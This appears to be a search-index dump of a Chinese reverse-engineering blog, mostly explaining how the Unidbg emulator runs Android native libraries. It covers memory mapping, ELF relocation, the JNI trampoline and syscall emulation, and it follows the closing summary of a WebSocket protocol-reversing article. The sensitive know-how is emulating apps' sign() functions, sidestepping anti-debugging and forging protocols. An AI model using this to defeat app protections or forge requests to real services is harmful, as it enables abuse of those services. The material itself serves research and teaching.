Protobuf / MsgPack / 自定义格式 ✅ Hook 技术: 劫持 WebSocket 构造函数和方法 ✅ 客户端实现: Python websockets 库，处理认证、心跳、重连 ✅ 加密处理: AES/RSA 加密消息的加解密 ✅ 调试技巧: 日志记录、十六进制 dump、消息重排序 记住: WebSocket 逆向的本质是协议逆向 —— 搞清楚它\"说什么话\"（Payload 格式）以及\"怎么说话\"（状态机、心跳、认证），你就能伪造它。 ","date":"2024-07-12","objectID":"/reverse_engineering/web/03-basic-recipes/websocket_reversing/:12:0","tags":["Web","RSA","代理池","SSL Pinning","加密分析","Hook"],"title":"WebSocket 逆向分析","uri":"/reverse_engineering/web/03-basic-recipes/websocket_reversing/#总结"},{"categories":null,"collections":null,"content":"相关章节 动态参数分析 API 逆向与重放攻击 Wireshark 使用指南 Hooking 技术 加密算法识别 ","date":"2024-07-12","objectID":"/reverse_engineering/web/03-basic-recipes/websocket_reversing/:13:0","tags":["Web","RSA","代理池","SSL Pinning","加密分析","Hook"],"title":"WebSocket 逆向分析","uri":"/reverse_engineering/web/03-basic-recipes/websocket_reversing/#相关章节"},{"categories":null,"collections":null,"content":"Unidbg 实现原理剖析 Unidbg 是一个强大的 Android 原生库 (.so) 模拟执行框架。理解其内部工作原理——CPU 模拟、内存管理、ELF 加载、JNI 桥接和系统调用仿真——可以帮助我们更高效地解决复杂的加密算法逆向和协议分析问题。 ","date":"2024-07-11","objectID":"/reverse_engineering/android/02-tools/dynamic/unidbg_internals/:0:0","tags":["Native层","动态分析","Frida","加密分析","Xposed","Android"],"title":"Unidbg 实现原理剖析","uri":"/reverse_engineering/android/02-tools/dynamic/unidbg_internals/#unidbg-实现原理剖析"},{"categories":null,"collections":null,"content":"架构概览 ","date":"2024-07-11","objectID":"/reverse_engineering/android/02-tools/dynamic/unidbg_internals/:1:0","tags":["Native层","动态分析","Frida","加密分析","Xposed","Android"],"title":"Unidbg 实现原理剖析","uri":"/reverse_engineering/android/02-tools/dynamic/unidbg_internals/#架构概览"},{"categories":null,"collections":null,"content":"核心思想 Unidbg 的核心思想是：用纯 Java 在 PC 上构建一个虚拟的 Android 用户态 (User-Mode) 环境。它不是完整的操作系统模拟器，而是专注于模拟一个 Android 进程 所需的一切，让 .so 文件\"感觉\"自己正运行在真实的 Android 设备里。 ","date":"2024-07-11","objectID":"/reverse_engineering/android/02-tools/dynamic/unidbg_internals/:1:1","tags":["Native层","动态分析","Frida","加密分析","Xposed","Android"],"title":"Unidbg 实现原理剖析","uri":"/reverse_engineering/android/02-tools/dynamic/unidbg_internals/#核心思想"},{"categories":null,"collections":null,"content":"整体架构 +================================================================+ | 用户代码 (Java) | | MyEmulator extends AbstractJni | +================================================================+ | ^ | | 调用函数 | JNI 回调 | IO 请求 v | v +================================================================+ | Unidbg 核心层 | | +------------------+ +-----------------+ +-----------------+ | | | DalvikVM / ART | | SyscallHandler | | IOResolver | | | | (JNI 模拟层) | | (系统调用处理) | | (文件系统模拟) | | | +------------------+ +-----------------+ +-----------------+ | | +------------------+ +-----------------+ +-----------------+ | | | ELF Loader | | Memory Manager | | Hook Engine | | | | (动态链接器) | | (内存管理) | | (HookZz/xHook) | | | +------------------+ +-----------------+ +-----------------+ | +================================================================+ | ^ | 指令执行 | 中断/回调 v | +================================================================+ | CPU 后端 (Backend) | | +------------------+ +-----------------+ +-----------------+ | | | Unicorn Engine | | Dynarmic | | KVM | | | | (解释执行) | | (JIT 编译) | | (硬件虚拟化) | | | +------------------+ +-----------------+ +-----------------+ | +================================================================+ ","date":"2024-07-11","objectID":"/reverse_engineering/android/02-tools/dynamic/unidbg_internals/:1:2","tags":["Native层","动态分析","Frida","加密分析","Xposed","Android"],"title":"Unidbg 实现原理剖析","uri":"/reverse_engineering/android/02-tools/dynamic/unidbg_internals/#整体架构"},{"categories":null,"collections":null,"content":"CPU 模拟后端 Unidbg 采用后端抽象层设计，将 CPU 模拟能力与上层逻辑解耦。 Unicorn Engine 默认后端，基于 QEMU 的 TCG (Tiny Code Generator) 模块： ARM 二进制指令 | v +-------------------+ | Unicorn Frontend | 解码 ARM/ARM64 指令 +-------------------+ | v +-------------------+ | TCG (中间表示) | 转换为平台无关的中间码 (IR) +-------------------+ | v +-------------------+ | Host Code Gen | 转换为宿主机 (x86/ARM64) 本地指令 +-------------------+ | v 执行 特性 说明 多架构支持 ARM, ARM64, MIPS, x86, x86_64, SPARC, M68K 执行粒度 逐基本块 (Basic Block) 翻译执行 回调机制 支持代码执行、内存访问、中断等事件回调 线程安全 单个 uc_engine 实例不是线程安全的 Dynarmic 高性能 ARM JIT 编译器，原为 Nintendo 3DS/Switch 模拟器开发。直接生成宿主机原生代码，无解释开销。 操作 Unicorn Dynarmic 加速比 AES-128 加密 1KB ~0.8ms ~0.1ms ~8x 典型 sign() 调用 ~15ms ~2ms ~7.5x 初始化加载 ~400ms ~500ms 0.8x Backend 接口设计 public interface Backend { Number reg_read(int regId); void reg_write(int regId, Number value); void mem_map(long address, long size, int perms); void mem_write(long address, byte[] bytes); byte[] mem_read(long address, long size); void emu_start(long begin, long until, long timeout, long count); void emu_stop(); void hook_add_new(CodeHook callback, long begin, long end, Object user); void hook_add_new(InterruptHook callback, Object user); } 切换后端只需修改一行代码： AndroidEmulator emulator = AndroidEmulatorBuilder.for32Bit() .addBackendFactory(new DynarmicFactory(true)) // Dynarmic // .addBackendFactory(new Unicorn2Factory(true)) // Unicorn .build(); ","date":"2024-07-11","objectID":"/reverse_engineering/android/02-tools/dynamic/unidbg_internals/:1:3","tags":["Native层","动态分析","Frida","加密分析","Xposed","Android"],"title":"Unidbg 实现原理剖析","uri":"/reverse_engineering/android/02-tools/dynamic/unidbg_internals/#cpu-模拟后端"},{"categories":null,"collections":null,"content":"CPU 模拟后端 Unidbg 采用后端抽象层设计，将 CPU 模拟能力与上层逻辑解耦。 Unicorn Engine 默认后端，基于 QEMU 的 TCG (Tiny Code Generator) 模块： ARM 二进制指令 | v +-------------------+ | Unicorn Frontend | 解码 ARM/ARM64 指令 +-------------------+ | v +-------------------+ | TCG (中间表示) | 转换为平台无关的中间码 (IR) +-------------------+ | v +-------------------+ | Host Code Gen | 转换为宿主机 (x86/ARM64) 本地指令 +-------------------+ | v 执行 特性 说明 多架构支持 ARM, ARM64, MIPS, x86, x86_64, SPARC, M68K 执行粒度 逐基本块 (Basic Block) 翻译执行 回调机制 支持代码执行、内存访问、中断等事件回调 线程安全 单个 uc_engine 实例不是线程安全的 Dynarmic 高性能 ARM JIT 编译器，原为 Nintendo 3DS/Switch 模拟器开发。直接生成宿主机原生代码，无解释开销。 操作 Unicorn Dynarmic 加速比 AES-128 加密 1KB ~0.8ms ~0.1ms ~8x 典型 sign() 调用 ~15ms ~2ms ~7.5x 初始化加载 ~400ms ~500ms 0.8x Backend 接口设计 public interface Backend { Number reg_read(int regId); void reg_write(int regId, Number value); void mem_map(long address, long size, int perms); void mem_write(long address, byte[] bytes); byte[] mem_read(long address, long size); void emu_start(long begin, long until, long timeout, long count); void emu_stop(); void hook_add_new(CodeHook callback, long begin, long end, Object user); void hook_add_new(InterruptHook callback, Object user); } 切换后端只需修改一行代码： AndroidEmulator emulator = AndroidEmulatorBuilder.for32Bit() .addBackendFactory(new DynarmicFactory(true)) // Dynarmic // .addBackendFactory(new Unicorn2Factory(true)) // Unicorn .build(); ","date":"2024-07-11","objectID":"/reverse_engineering/android/02-tools/dynamic/unidbg_internals/:1:3","tags":["Native层","动态分析","Frida","加密分析","Xposed","Android"],"title":"Unidbg 实现原理剖析","uri":"/reverse_engineering/android/02-tools/dynamic/unidbg_internals/#unicorn-engine"},{"categories":null,"collections":null,"content":"CPU 模拟后端 Unidbg 采用后端抽象层设计，将 CPU 模拟能力与上层逻辑解耦。 Unicorn Engine 默认后端，基于 QEMU 的 TCG (Tiny Code Generator) 模块： ARM 二进制指令 | v +-------------------+ | Unicorn Frontend | 解码 ARM/ARM64 指令 +-------------------+ | v +-------------------+ | TCG (中间表示) | 转换为平台无关的中间码 (IR) +-------------------+ | v +-------------------+ | Host Code Gen | 转换为宿主机 (x86/ARM64) 本地指令 +-------------------+ | v 执行 特性 说明 多架构支持 ARM, ARM64, MIPS, x86, x86_64, SPARC, M68K 执行粒度 逐基本块 (Basic Block) 翻译执行 回调机制 支持代码执行、内存访问、中断等事件回调 线程安全 单个 uc_engine 实例不是线程安全的 Dynarmic 高性能 ARM JIT 编译器，原为 Nintendo 3DS/Switch 模拟器开发。直接生成宿主机原生代码，无解释开销。 操作 Unicorn Dynarmic 加速比 AES-128 加密 1KB ~0.8ms ~0.1ms ~8x 典型 sign() 调用 ~15ms ~2ms ~7.5x 初始化加载 ~400ms ~500ms 0.8x Backend 接口设计 public interface Backend { Number reg_read(int regId); void reg_write(int regId, Number value); void mem_map(long address, long size, int perms); void mem_write(long address, byte[] bytes); byte[] mem_read(long address, long size); void emu_start(long begin, long until, long timeout, long count); void emu_stop(); void hook_add_new(CodeHook callback, long begin, long end, Object user); void hook_add_new(InterruptHook callback, Object user); } 切换后端只需修改一行代码： AndroidEmulator emulator = AndroidEmulatorBuilder.for32Bit() .addBackendFactory(new DynarmicFactory(true)) // Dynarmic // .addBackendFactory(new Unicorn2Factory(true)) // Unicorn .build(); ","date":"2024-07-11","objectID":"/reverse_engineering/android/02-tools/dynamic/unidbg_internals/:1:3","tags":["Native层","动态分析","Frida","加密分析","Xposed","Android"],"title":"Unidbg 实现原理剖析","uri":"/reverse_engineering/android/02-tools/dynamic/unidbg_internals/#dynarmic"},{"categories":null,"collections":null,"content":"CPU 模拟后端 Unidbg 采用后端抽象层设计，将 CPU 模拟能力与上层逻辑解耦。 Unicorn Engine 默认后端，基于 QEMU 的 TCG (Tiny Code Generator) 模块： ARM 二进制指令 | v +-------------------+ | Unicorn Frontend | 解码 ARM/ARM64 指令 +-------------------+ | v +-------------------+ | TCG (中间表示) | 转换为平台无关的中间码 (IR) +-------------------+ | v +-------------------+ | Host Code Gen | 转换为宿主机 (x86/ARM64) 本地指令 +-------------------+ | v 执行 特性 说明 多架构支持 ARM, ARM64, MIPS, x86, x86_64, SPARC, M68K 执行粒度 逐基本块 (Basic Block) 翻译执行 回调机制 支持代码执行、内存访问、中断等事件回调 线程安全 单个 uc_engine 实例不是线程安全的 Dynarmic 高性能 ARM JIT 编译器，原为 Nintendo 3DS/Switch 模拟器开发。直接生成宿主机原生代码，无解释开销。 操作 Unicorn Dynarmic 加速比 AES-128 加密 1KB ~0.8ms ~0.1ms ~8x 典型 sign() 调用 ~15ms ~2ms ~7.5x 初始化加载 ~400ms ~500ms 0.8x Backend 接口设计 public interface Backend { Number reg_read(int regId); void reg_write(int regId, Number value); void mem_map(long address, long size, int perms); void mem_write(long address, byte[] bytes); byte[] mem_read(long address, long size); void emu_start(long begin, long until, long timeout, long count); void emu_stop(); void hook_add_new(CodeHook callback, long begin, long end, Object user); void hook_add_new(InterruptHook callback, Object user); } 切换后端只需修改一行代码： AndroidEmulator emulator = AndroidEmulatorBuilder.for32Bit() .addBackendFactory(new DynarmicFactory(true)) // Dynarmic // .addBackendFactory(new Unicorn2Factory(true)) // Unicorn .build(); ","date":"2024-07-11","objectID":"/reverse_engineering/android/02-tools/dynamic/unidbg_internals/:1:3","tags":["Native层","动态分析","Frida","加密分析","Xposed","Android"],"title":"Unidbg 实现原理剖析","uri":"/reverse_engineering/android/02-tools/dynamic/unidbg_internals/#backend-接口设计"},{"categories":null,"collections":null,"content":"内存模型 ","date":"2024-07-11","objectID":"/reverse_engineering/android/02-tools/dynamic/unidbg_internals/:2:0","tags":["Native层","动态分析","Frida","加密分析","Xposed","Android"],"title":"Unidbg 实现原理剖析","uri":"/reverse_engineering/android/02-tools/dynamic/unidbg_internals/#内存模型"},{"categories":null,"collections":null,"content":"虚拟地址空间布局 (32 位) 0xFFFFFFFF +---------------------------+ | Kernel Space (不可用) | 0xC0000000 +---------------------------+ | Stack | \u003c-- 向下增长 (默认 128KB) | | | | v | 0xBFF00000 +---------------------------+ | (未映射区域) | +---------------------------+ | mmap 区域 | \u003c-- 动态库加载区 | (libc.so, libm.so等) | 0x40000000 +---------------------------+ | 目标 SO 加载区域 | \u003c-- libnative.so +---------------------------+ | Heap | \u003c-- 向上增长 (malloc) 0x08000000 +---------------------------+ | 低地址保留区域 | \u003c-- JNI 函数表、特殊映射 0x00000000 +---------------------------+ ","date":"2024-07-11","objectID":"/reverse_engineering/android/02-tools/dynamic/unidbg_internals/:2:1","tags":["Native层","动态分析","Frida","加密分析","Xposed","Android"],"title":"Unidbg 实现原理剖析","uri":"/reverse_engineering/android/02-tools/dynamic/unidbg_internals/#虚拟地址空间布局-32-位"},{"categories":null,"collections":null,"content":"mmap 实现 // 简化的 mmap 流程 public long mmap2(long addr, int length, int prot, int flags, int fd, int offset) { // 1. 匿名映射：从 mmap 区域分配空闲地址 if (addr == 0) addr = allocateMapAddress(length); // 2. 对齐到页边界 (4KB) long alignedAddr = addr \u0026 ~0xFFF; int alignedLength = (int)(((addr + length + 0xFFF) \u0026 ~0xFFF) - alignedAddr); // 3. 在 Backend 引擎中创建映射 backend.mem_map(alignedAddr, alignedLength, prot); // 4. 文件映射：读取文件内容到映射区域 if (fd \u003e 0 \u0026\u0026 (flags \u0026 MAP_ANONYMOUS) == 0) { byte[] data = readFromFileDescriptor(fd, offset, length); backend.mem_write(addr, data); } // 5. 记录映射信息 memoryMap.put(alignedAddr, new MemoryBlock(alignedAddr, alignedLength, prot)); return addr; } ","date":"2024-07-11","objectID":"/reverse_engineering/android/02-tools/dynamic/unidbg_internals/:2:2","tags":["Native层","动态分析","Frida","加密分析","Xposed","Android"],"title":"Unidbg 实现原理剖析","uri":"/reverse_engineering/android/02-tools/dynamic/unidbg_internals/#mmap-实现"},{"categories":null,"collections":null,"content":"栈与调用约定 ARM32 调用约定中，前 4 个参数通过 r0-r3 传递，多余参数通过栈传递。Unidbg 在调用函数时需要正确设置这些： // 函数调用的简化流程 public Number[] callFunction(long address, Object... args) { // 1. 保存 CPU 状态 long savedSP = backend.reg_read(UC_ARM_REG_SP).longValue(); // 2. 设置参数 for (int i = 0; i \u003c args.length; i++) { long value = resolveArg(args[i]); if (i \u003c 4) { backend.reg_write(UC_ARM_REG_R0 + i, value); // r0-r3 } else { long sp = backend.reg_read(UC_ARM_REG_SP).longValue() - 4; backend.mem_write(sp, toBytes(value)); // 压栈 backend.reg_write(UC_ARM_REG_SP, sp); } } // 3. 设置 LR 为哨兵地址，开始执行 backend.reg_write(UC_ARM_REG_LR, LR_SENTINEL); backend.emu_start(address, LR_SENTINEL, 0, 0); // 4. 从 r0 读取返回值，恢复栈 Number result = backend.reg_read(UC_ARM_REG_R0); backend.reg_write(UC_ARM_REG_SP, savedSP); return new Number[] { result }; } ","date":"2024-07-11","objectID":"/reverse_engineering/android/02-tools/dynamic/unidbg_internals/:2:3","tags":["Native层","动态分析","Frida","加密分析","Xposed","Android"],"title":"Unidbg 实现原理剖析","uri":"/reverse_engineering/android/02-tools/dynamic/unidbg_internals/#栈与调用约定"},{"categories":null,"collections":null,"content":"堆管理 Unidbg 内置简单的堆分配器处理 malloc / free： +---------------------------+ 堆起始地址 | Block Header (8B) | | size=64, used=true | +---------------------------+ | 用户数据 (64B) | \u003c-- malloc(64) 返回 +---------------------------+ | Block Header (8B) | | size=128, used=false | +---------------------------+ | 空闲区域 (128B) | \u003c-- 已 free +---------------------------+ | Block Header (8B) | | size=256, used=true | +---------------------------+ | 用户数据 (256B) | \u003c-- malloc(256) 返回 +---------------------------+ ","date":"2024-07-11","objectID":"/reverse_engineering/android/02-tools/dynamic/unidbg_internals/:2:4","tags":["Native层","动态分析","Frida","加密分析","Xposed","Android"],"title":"Unidbg 实现原理剖析","uri":"/reverse_engineering/android/02-tools/dynamic/unidbg_internals/#堆管理"},{"categories":null,"collections":null,"content":"ELF 加载器 ","date":"2024-07-11","objectID":"/reverse_engineering/android/02-tools/dynamic/unidbg_internals/:3:0","tags":["Native层","动态分析","Frida","加密分析","Xposed","Android"],"title":"Unidbg 实现原理剖析","uri":"/reverse_engineering/android/02-tools/dynamic/unidbg_internals/#elf-加载器"},{"categories":null,"collections":null,"content":"ELF 文件结构 +---------------------------+ | ELF Header | 魔数、架构、入口点 +---------------------------+ | Program Headers | | PT_LOAD (代码段) | .text, .rodata | PT_LOAD (数据段) | .data, .bss | PT_DYNAMIC | 动态链接信息 +---------------------------+ | Section Headers | | .dynsym | 动态符号表 | .dynstr | 动态字符串表 | .rel.plt / .rela.plt | PLT 重定位条目 | .rel.dyn / .rela.dyn | 数据重定位条目 | .init_array | 构造函数指针数组 +---------------------------+ ","date":"2024-07-11","objectID":"/reverse_engineering/android/02-tools/dynamic/unidbg_internals/:3:1","tags":["Native层","动态分析","Frida","加密分析","Xposed","Android"],"title":"Unidbg 实现原理剖析","uri":"/reverse_engineering/android/02-tools/dynamic/unidbg_internals/#elf-文件结构"},{"categories":null,"collections":null,"content":"加载流程 vm.loadLibrary(\"libnative.so\") | v 1. 解析 ELF 头，验证架构匹配 (ARM/ARM64) | v 2. 遍历 PT_LOAD 段，计算需要的虚拟地址范围 | v 3. 在 mmap 区域预留连续空间 (基址通常从 0x40000000 起) | v 4. 将 PT_LOAD 段内容写入虚拟内存，设置权限 (R/W/X) | v 5. 解析 PT_DYNAMIC 段，提取 DT_NEEDED 依赖库列表 | v 6. 递归加载依赖库 (Unidbg 自带常用系统库) | v 7. 符号解析与重定位 (填充 GOT 表) | v 8. 执行 .init 段和 .init_array 中的构造函数 | v 9. 返回 Module 对象 (包含基地址、符号表等) ","date":"2024-07-11","objectID":"/reverse_engineering/android/02-tools/dynamic/unidbg_internals/:3:2","tags":["Native层","动态分析","Frida","加密分析","Xposed","Android"],"title":"Unidbg 实现原理剖析","uri":"/reverse_engineering/android/02-tools/dynamic/unidbg_internals/#加载流程"},{"categories":null,"collections":null,"content":"PLT/GOT 重定位 调用外部函数 (如 strlen) 的过程: .text 段: BL strlen@PLT ; 跳转到 PLT 桩代码 .plt 段: strlen@PLT: LDR PC, [PC, #offset] ; 从 GOT 表读取地址并跳转 .got 段: \u0026strlen = 0x???????? ; 重定位前: 指向延迟绑定桩 = 0x400023A0 ; 重定位后: 指向 strlen 真实地址 Unidbg 的重定位处理核心逻辑： private void processRelocation(ElfRelocation rel, Module module) { int type = rel.type(); ElfSymbol symbol = rel.symbol(); long targetAddr = module.base + rel.offset(); switch (type) { case R_ARM_JUMP_SLOT: // PLT 重定位 case R_ARM_GLOB_DAT: // 全局数据重定位 long symbolAddr = resolveSymbol(symbol.getName()); if (symbolAddr != 0) { backend.mem_write(targetAddr, toBytes((int) symbolAddr)); } break; case R_ARM_RELATIVE: // 相对重定位：加上基地址 int origValue = readInt(targetAddr); backend.mem_write(targetAddr, toBytes(origValue + (int) module.base)); break; } } ","date":"2024-07-11","objectID":"/reverse_engineering/android/02-tools/dynamic/unidbg_internals/:3:3","tags":["Native层","动态分析","Frida","加密分析","Xposed","Android"],"title":"Unidbg 实现原理剖析","uri":"/reverse_engineering/android/02-tools/dynamic/unidbg_internals/#pltgot-重定位"},{"categories":null,"collections":null,"content":"自带的系统库 库名 用途 实现方式 libc.so C 标准库 部分函数用 Java 实现 libdl.so 动态链接 Java 实现 dlopen/dlsym libm.so 数学库 直接使用 Java Math libstdc++.so C++ 标准库 部分实现 liblog.so Android 日志 输出到 Java 控制台 libz.so zlib 压缩 使用 Java 自带的 zlib 对于未内置的库 (如 libcrypto.so)，需要从真机 /system/lib/ 提取并手动加载。 ","date":"2024-07-11","objectID":"/reverse_engineering/android/02-tools/dynamic/unidbg_internals/:3:4","tags":["Native层","动态分析","Frida","加密分析","Xposed","Android"],"title":"Unidbg 实现原理剖析","uri":"/reverse_engineering/android/02-tools/dynamic/unidbg_internals/#自带的系统库"},{"categories":null,"collections":null,"content":"JNI 桥接层 ","date":"2024-07-11","objectID":"/reverse_engineering/android/02-tools/dynamic/unidbg_internals/:4:0","tags":["Native层","动态分析","Frida","加密分析","Xposed","Android"],"title":"Unidbg 实现原理剖析","uri":"/reverse_engineering/android/02-tools/dynamic/unidbg_internals/#jni-桥接层"},{"categories":null,"collections":null,"content":"JNI 函数表机制 在真实 Android 中，JNIEnv* 指向一个函数指针表。Unidbg 需要在模拟环境中实现等效机制： 真实 Android: JNIEnv* --\u003e | GetVersion | --\u003e 原生函数指针 | FindClass | --\u003e 原生函数指针 | GetMethodID | --\u003e 原生函数指针 | CallObjectMethod | --\u003e 原生函数指针 | ... | Unidbg 模拟: JNIEnv* --\u003e | GetVersion | --\u003e 跳板代码地址 (触发中断) | FindClass | --\u003e 跳板代码地址 (触发中断) | GetMethodID | --\u003e 跳板代码地址 (触发中断) | CallObjectMethod | --\u003e 跳板代码地址 (触发中断) | ... | ","date":"2024-07-11","objectID":"/reverse_engineering/android/02-tools/dynamic/unidbg_internals/:4:1","tags":["Native层","动态分析","Frida","加密分析","Xposed","Android"],"title":"Unidbg 实现原理剖析","uri":"/reverse_engineering/android/02-tools/dynamic/unidbg_internals/#jni-函数表机制"},{"categories":null,"collections":null,"content":"跳板机制 (Trampoline) Unidbg 使用跳板代码将 SO 对 JNI 函数的调用重定向到 Java 实现： SO 代码: (*env)-\u003eFindClass(env, \"java/lang/String\") | v 1. 从 JNIEnv 函数表取出 FindClass 的地址 | v 2. 跳转到跳板代码，执行 SVC #0 (软中断) | v (中断被 Unidbg 拦截) 3. InterruptHook 识别出是 FindClass 调用 | v 4. 从寄存器读取参数: r0=env, r1=className(\"java/lang/String\") | v 5. 执行 Java 实现: DalvikVM.findClass() 返回 DvmClass 对象 | v 6. 将结果的 hash 值写入 r0 (作为 jclass) | v 7. 恢复模拟器继续执行后续指令 ","date":"2024-07-11","objectID":"/reverse_engineering/android/02-tools/dynamic/unidbg_internals/:4:2","tags":["Native层","动态分析","Frida","加密分析","Xposed","Android"],"title":"Unidbg 实现原理剖析","uri":"/reverse_engineering/android/02-tools/dynamic/unidbg_internals/#跳板机制-trampoline"},{"categories":null,"collections":null,"content":"DvmObject 体系 DvmObject\u003cT\u003e (所有 Java 对象的基类) | +-- StringObject (java.lang.String) +-- ByteArray (byte[]) +-- IntArray (int[]) +-- ArrayObject (Object[]) +-- DvmInteger (java.lang.Integer) +-- DvmLong (java.lang.Long) +-- DvmBoolean (java.lang.Boolean) 每个 DvmObject 有唯一的 hash 值，在 SO 代码中作为 jobject 指针： public abstract class DvmObject\u003cT\u003e { private final int hashCode; // 作为 jobject 传给 SO private final DvmClass objectType; // 对象的类型信息 private T value; // 实际的 Java 值 } // VM 内部维护对象映射表 // Map\u003cInteger, DvmObject\u003c?\u003e\u003e objectMap // hash=0x1001 -\u003e StringObject(\"hello\") // hash=0x1002 -\u003e DvmClass(android/content/Context) ","date":"2024-07-11","objectID":"/reverse_engineering/android/02-tools/dynamic/unidbg_internals/:4:3","tags":["Native层","动态分析","Frida","加密分析","Xposed","Android"],"title":"Unidbg 实现原理剖析","uri":"/reverse_engineering/android/02-tools/dynamic/unidbg_internals/#dvmobject-体系"},{"categories":null,"collections":null,"content":"CallObjectMethod 完整生命周期 SO: jstring result = (*env)-\u003eCallObjectMethod(env, obj, methodId, arg1); | v 1. 从函数表取地址，跳转到跳板，触发 SVC 中断 | v 2. InterruptHook 捕获，识别为 CallObjectMethod | v 3. 从寄存器读取参数: r1=obj -\u003e 通过 hash 查表得到 DvmObject r2=methodId -\u003e 查表得到方法签名 | v 4. 构造签名: \"android/content/Context-\u003egetPackageName()Ljava/lang/String;\" | v 5. 调用 AbstractJni.callObjectMethod()，用户代码匹配并返回结果 | v 6. 返回值注册到对象表，hash 写入 r0，继续执行 ","date":"2024-07-11","objectID":"/reverse_engineering/android/02-tools/dynamic/unidbg_internals/:4:4","tags":["Native层","动态分析","Frida","加密分析","Xposed","Android"],"title":"Unidbg 实现原理剖析","uri":"/reverse_engineering/android/02-tools/dynamic/unidbg_internals/#callobjectmethod-完整生命周期"},{"categories":null,"collections":null,"content":"RegisterNatives 动态注册 许多加固后的 SO 在 JNI_OnLoad 中使用 RegisterNatives 动态注册： SO 中的 JNI_OnLoad: env-\u003eRegisterNatives(clazz, methods, count) | v Unidbg 拦截，读取 JNINativeMethod 数组: name=\"sign\", sig=\"(Ljava/lang/String;)Ljava/lang/String;\", fn=0x40001A3C name=\"verify\", sig=\"(Ljava/lang/String;Z)Z\", fn=0x400023F0 | v 保存到 DvmClass 的 nativeMethods 映射: 签名 -\u003e 函数地址 | v 后续调用 callJniMethodObject 时， 根据签名查找函数地址，设置参数并跳转执行 ","date":"2024-07-11","objectID":"/reverse_engineering/android/02-tools/dynamic/unidbg_internals/:4:5","tags":["Native层","动态分析","Frida","加密分析","Xposed","Android"],"title":"Unidbg 实现原理剖析","uri":"/reverse_engineering/android/02-tools/dynamic/unidbg_internals/#registernatives-动态注册"},{"categories":null,"collections":null,"content":"系统调用仿真 ","date":"2024-07-11","objectID":"/reverse_engineering/android/02-tools/dynamic/unidbg_internals/:5:0","tags":["Native层","动态分析","Frida","加密分析","Xposed","Android"],"title":"Unidbg 实现原理剖析","uri":"/reverse_engineering/android/02-tools/dynamic/unidbg_internals/#系统调用仿真"},{"categories":null,"collections":null,"content":"ARM 系统调用机制 ARM 架构通过 SVC #0 指令发起系统调用，调用号在 r7 中，参数在 r0-r5 中： MOV r7, #5 ; syscall number: open = 5 MOV r0, pathname ; arg1: 文件路径 MOV r1, #0 ; arg2: O_RDONLY SVC #0 ; 触发系统调用 ; 返回值在 r0 中 ","date":"2024-07-11","objectID":"/reverse_engineering/android/02-tools/dynamic/unidbg_internals/:5:1","tags":["Native层","动态分析","Frida","加密分析","Xposed","Android"],"title":"Unidbg 实现原理剖析","uri":"/reverse_engineering/android/02-tools/dynamic/unidbg_internals/#arm-系统调用机制"},{"categories":null,"collections":null,"content":"处理流程 Unicorn 执行 SVC #0 | v InterruptHook 回调 | v 读取 r7 (syscall number) + r0-r5 (参数) | v SyscallHandler.handle() | +-- 已实现 --\u003e 执行 Java 实现，写返回值到 r0 +-- 未实现 --\u003e 抛异常或返回 -ENOSYS ","date":"2024-07-11","objectID":"/reverse_engineering/android/02-tools/dynamic/unidbg_internals/:5:2","tags":["Native层","动态分析","Frida","加密分析","Xposed","Android"],"title":"Unidbg 实现原理剖析","uri":"/reverse_engineering/android/02-tools/dynamic/unidbg_internals/#处理流程"},{"categories":null,"collections":null,"content":"已实现的关键系统调用 编号 名称 用途 实现方式 3 read 读取文件 Java FileInputStream 4 write 写入文件 Java FileOutputStream 5 open 打开文件 IOResolver + 虚拟文件系统 6 close 关闭文件 关闭 Java 流 26 ptrace 调试相关 返回 -EPERM (反调试免疫) 45 brk 扩展堆 调整堆结束地址 125 mprotect 修改内存权限 更新 Backend 内存权限 192 mmap2 内存映射 分配虚拟地址+Backend映射 197 fstat64 文件状态 Java File 属性 240 futex 互斥锁 简单实现 (单线程) 263 clock_gettime 获取时钟 Java System.nanoTime 322 openat 打开文件(相对路径) 与 open 类似 ","date":"2024-07-11","objectID":"/reverse_engineering/android/02-tools/dynamic/unidbg_internals/:5:3","tags":["Native层","动态分析","Frida","加密分析","Xposed","Android"],"title":"Unidbg 实现原理剖析","uri":"/reverse_engineering/android/02-tools/dynamic/unidbg_internals/#已实现的关键系统调用"},{"categories":null,"collections":null,"content":"Android Property 系统 __system_property_get 不是系统调用，而是通过共享内存实现。Unidbg 通过 Hook libc.so 中的该函数来处理： public int __system_property_get(Emulator\u003c?\u003e emulator) { Pointer namePtr = UnidbgPointer.register(emulator, UC_ARM_REG_R0); Pointer valuePtr = UnidbgPointer.register(emulator, UC_ARM_REG_R1); String name = namePtr.getString(0); String value; switch (name) { case \"ro.build.version.sdk\": value = \"23\"; break; case \"ro.product.model\": value = \"Pixel 2\"; break; case \"ro.debuggable\": value = \"0\"; break; default: value = \"\"; break; } valuePtr.setString(0, value); return value.length(); } ","date":"2024-07-11","objectID":"/reverse_engineering/android/02-tools/dynamic/unidbg_internals/:5:4","tags":["Native层","动态分析","Frida","加密分析","Xposed","Android"],"title":"Unidbg 实现原理剖析","uri":"/reverse_engineering/android/02-tools/dynamic/unidbg_internals/#android-property-系统"},{"categories":null,"collections":null,"content":"文件描述符管理 虚拟文件描述符表: +------+---------------+-----------------------------------+ | FD | 类型 | 实际映射 | +------+---------------+-----------------------------------+ | 0 | STDIN | Java System.in | | 1 | STDOUT | Java System.out | | 2 | STDERR | Java System.err | | 3 | Regular File | /proc/self/maps -\u003e 虚拟内容 | | 4 | Regular File | /proc/self/status -\u003e 虚拟内容 | | 5 | Regular File | /data/app/xxx/base.apk -\u003e 真实文件| +------+---------------+-----------------------------------+ ","date":"2024-07-11","objectID":"/reverse_engineering/android/02-tools/dynamic/unidbg_internals/:5:5","tags":["Native层","动态分析","Frida","加密分析","Xposed","Android"],"title":"Unidbg 实现原理剖析","uri":"/reverse_engineering/android/02-tools/dynamic/unidbg_internals/#文件描述符管理"},{"categories":null,"collections":null,"content":"与 Unicorn/Qiling 对比 ","date":"2024-07-11","objectID":"/reverse_engineering/android/02-tools/dynamic/unidbg_internals/:6:0","tags":["Native层","动态分析","Frida","加密分析","Xposed","Android"],"title":"Unidbg 实现原理剖析","uri":"/reverse_engineering/android/02-tools/dynamic/unidbg_internals/#与-unicornqiling-对比"},{"categories":null,"collections":null,"content":"三者定位 高层 +-- Unidbg ---+ 专注 Android SO 模拟 | | 内置 JNI/DVM/Android 文件系统 +-------------+ 中层 +-- Qiling ---+ 通用 OS 模拟框架 | | 支持 Linux/Windows/macOS +-------------+ 底层 +-- Unicorn --+ 纯 CPU 模拟引擎 | | 仅提供指令执行和内存管理 +-------------+ 